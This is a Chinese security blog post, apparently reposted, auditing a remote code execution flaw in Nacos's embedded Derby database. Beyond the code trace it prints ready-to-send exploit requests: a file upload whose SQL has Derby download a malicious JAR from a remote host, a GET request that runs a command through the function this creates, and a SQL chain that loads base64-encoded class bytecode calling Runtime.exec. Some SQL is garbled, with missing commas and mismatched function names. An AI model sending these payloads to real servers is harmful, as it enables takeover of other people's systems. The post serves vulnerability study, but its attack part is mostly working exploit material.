Nacos Derby RCE代码审计

admin 2025年5月7日16:41:45评论0 views字数 5381阅读17分56秒阅读模式

漏洞:com/alibaba/nacos/config/server/controller/ConfigOpsController.java

跟踪到路由

Nacos Derby RCE代码审计

databaseOperate.dataImport(file) 看翻译也可以知道数据库操作类的方法,但是传入的是文件类

Nacos Derby RCE代码审计
Nacos Derby RCE代码审计
Nacos Derby RCE代码审计

跟入代码,读取临时文件中的数据,不断去whlie拼接sql语句(sql语句是恶意的derby语句)

Nacos Derby RCE代码审计

判断完文件没有内容了就设置sqls语句

List<ModifyRequestsqls = batchUpdate.stream()
    .map(s -> {
        ModifyRequest request = new ModifyRequest(); // 创建一个新的 ModifyRequest 对象
        request.setSql(s);                           // 设置其 sql 属性为 s(s 是 batchUpdate 中的一个元素)
        return request;                              // 返回该对象
    })
    .collect(Collectors.toList());                  // 把所有 ModifyRequest 对象收集成 List

随后进入futures.add(CompletableFuture.runAsync(() -> results.add(doDataImport(jdbcTemplate, sqls)))); 中的doDataImport(jdbcTemplate, sqls) 传递了我们的恶意sqls语句

Nacos Derby RCE代码审计

随后执行sql语句

Nacos Derby RCE代码审计

看看template.batchUpdate(sql) 是否是真的执行了sql语句,跟入代码

Nacos Derby RCE代码审计

然后进入BatchUpdateStatementCallback 类下的doInStatement方法

Nacos Derby RCE代码审计

最后doInStatement完整的逻辑:

Nacos Derby RCE代码审计

调用了一个 sqlj.install_jar 存储过程,用于安装一个 JAR 文件。该 JAR 文件被从http://192.168.244.133:8000/test.java下载

调用了 SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY 存储过程,将属性 derby.database.classpath 的值设置为 NACOS.bGgDnUtc,使 Derby 数据库能够加载该 JAR 文件

创建了一个名为 S_EXAMPLE_jtZJBFpM 的方法。该函数的具体实现是在 Java 类 test.poc.Example 的 exec 方法(因为是条件竞赛,id=jtZJBFpM可能会失效,可以用python随机生成)

这样恶意jar就已经加载进入数据库了

再次使用select查询数据库就能执行恶意命令,p牛师傅给出过一个链接

https://github.com/alibaba/nacos/issues/4463

Nacos Derby RCE代码审计

数据包:

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 192.168.4.1:8848
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 495
Content-Type: multipart/form-data; boundary=2a262c4e7ea55d81b1906382912b7422

--2a262c4e7ea55d81b1906382912b7422
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://192.168.4.1:8000/evil.jar', 'NACOS.jtZJBFpQ', 0)

        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.jtZJBFpQ')

        CREATE FUNCTION S_EXAMPLE_jtZJBFpQ( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'

--2a262c4e7ea55d81b1906382912b7422--

触发数据包(这个接口什么sql都能执行):

GET /nacos/v1/cs/ops/derby?sql=select%20*%20from%20(select%20count(*)%20as%20b%2c%20S_EXAMPLE_jtZJBFpQ('calc')%20as%20a%20from%20config_info)%20tmp%20%2f*ROWS%20FETCH%20NEXT*%2f HTTP/1.1
Host: 192.168.4.1:8848
Content-Length: 2
Nacos Derby RCE代码审计

一步到位加载字节码:

-- 1. 定义 Java 类型映射(只做一次)
CREATE TYPE pbqmhhjClass EXTERNAL NAME 'java.lang.Class' LANGUAGE JAVA;
CREATE TYPE pbqmhhjObject EXTERNAL NAME 'java.lang.Object' LANGUAGE JAVA;
CREATE TYPE pbqmhhjClassLoader EXTERNAL NAME 'java.lang.ClassLoader' LANGUAGE JAVA;

-- 2. 定义 Java 方法封装(使用 Spring/CGLIB)
CREATE FUNCTION base64Decode(className VARCHAR(32672))
  RETURNS VARCHAR(32672) FOR BIT DATA
  EXTERNAL NAME 'org.springframework.util.Base64Utils.decodeFromString'
  LANGUAGE JAVA PARAMETER STYLE JAVA;

CREATE FUNCTION getSystemCL()
  RETURNS pbqmhhjClassLoader
  EXTERNAL NAME 'java.lang.ClassLoader.getSystemClassLoader'
  LANGUAGE JAVA PARAMETER STYLE JAVA;

CREATE FUNCTION defineEvil(className VARCHAR(32672), bytes VARCHAR(32672) FOR BIT DATA, loader pbqmhhjClassLoader)
  RETURNS pbqmhhjClass
  EXTERNAL NAME 'org.springframework.cglib.core.ReflectUtils.defineClass(java.lang.String, byte[], java.lang.ClassLoader)'
  LANGUAGE JAVA PARAMETER STYLE JAVA;

-- 3. 触发加载(base64 字符串替换为你的 payload)
INSERT INTO mytrigger VALUES (
  defineEvil('Evil'base64Decode('yv66...base64...=='), getSystemCL())
);

1. 创建 Java 类型映射

首先,你定义了几个类型映射,允许 SQL 调用 Java 类:

CREATE TYPE pbqmhhjClass EXTERNAL NAME 'java.lang.Class' LANGUAGE JAVA;
CREATE TYPE pbqmhhjObject EXTERNAL NAME 'java.lang.Object' LANGUAGE JAVA;
CREATE TYPE pbqmhhjClassLoader EXTERNAL NAME 'java.lang.ClassLoader' LANGUAGE JAVA;

这些映射允许你在 SQL 中使用 Java 类类型。

2. 定义 Base64 解码函数

接下来,创建了一个 base64Decode 函数,利用 Spring 的 Base64Utils 来解码传入的 Base64 字符串:

CREATE FUNCTION pbqmhhj64Decode(className VARCHAR(32672))
RETURNS VARCHAR(32672FOR BIT DATA
EXTERNAL NAME 'org.springframework.util.Base64Utils.decodeFromString'
LANGUAGE JAVA PARAMETER STYLE JAVA;

这个函数允许你将 Base64 编码的恶意字节码转换成字节数据,以便后续加载。

3. 获取系统类加载器

你还定义了一个函数来获取系统类加载器:

ClassLoader.getSystemClassLoader() 会返回系统类加载器,用来加载定义的类。

4. 定义恶意类

这个函数 depbqmhhjClass 通过 CGLIB 的 ReflectUtils.defineClass 将字节数据加载到 JVM 中,并返回一个 Class 类型对象:

CREATE FUNCTION depbqmhhjClass(
  className VARCHAR(724),
  bytes VARCHAR(724FOR BIT DATA,
  loader pbqmhhjClassLoader
RETURNS pbqmhhjClass
EXTERNAL NAME 'org.springframework.cglib.core.ReflectUtils.defineClass(java.lang.String, byte[], java.lang.ClassLoader)'
LANGUAGE JAVA PARAMETER STYLE JAVA;

5. 将恶意类插入表

接下来,你插入了一个恶意类到表 injepbqmhhjct 中,实际上传入了一个 Base64 编码的字节数组,它代表了 com.fasterxml.jackson.l.NetworkUtils 类:

INSERT INTO injepbqmhhjct
VALUES (
  depbqmhhjClass(
    'com.fasterxml.jackson.l.NetworkUtils',
    pbqmhhj64Decode('yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAAR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS'),
    getpbqmhhjmClassLoader()
  )
);

6. 恶意类加载与执行

通过 pbqmhhj64Decode 解码 Base64 字节流后,调用 ReflectUtils.defineClass 来动态加载恶意类 com.fasterxml.jackson.l.NetworkUtils这个类的字节码包含了恶意代码,可以在加载时触发执行。

原文始发于微信公众号(T3Ysec):Nacos Derby RCE代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月7日16:41:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos Derby RCE代码审计https://cn-sec.com/archives/4037988.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息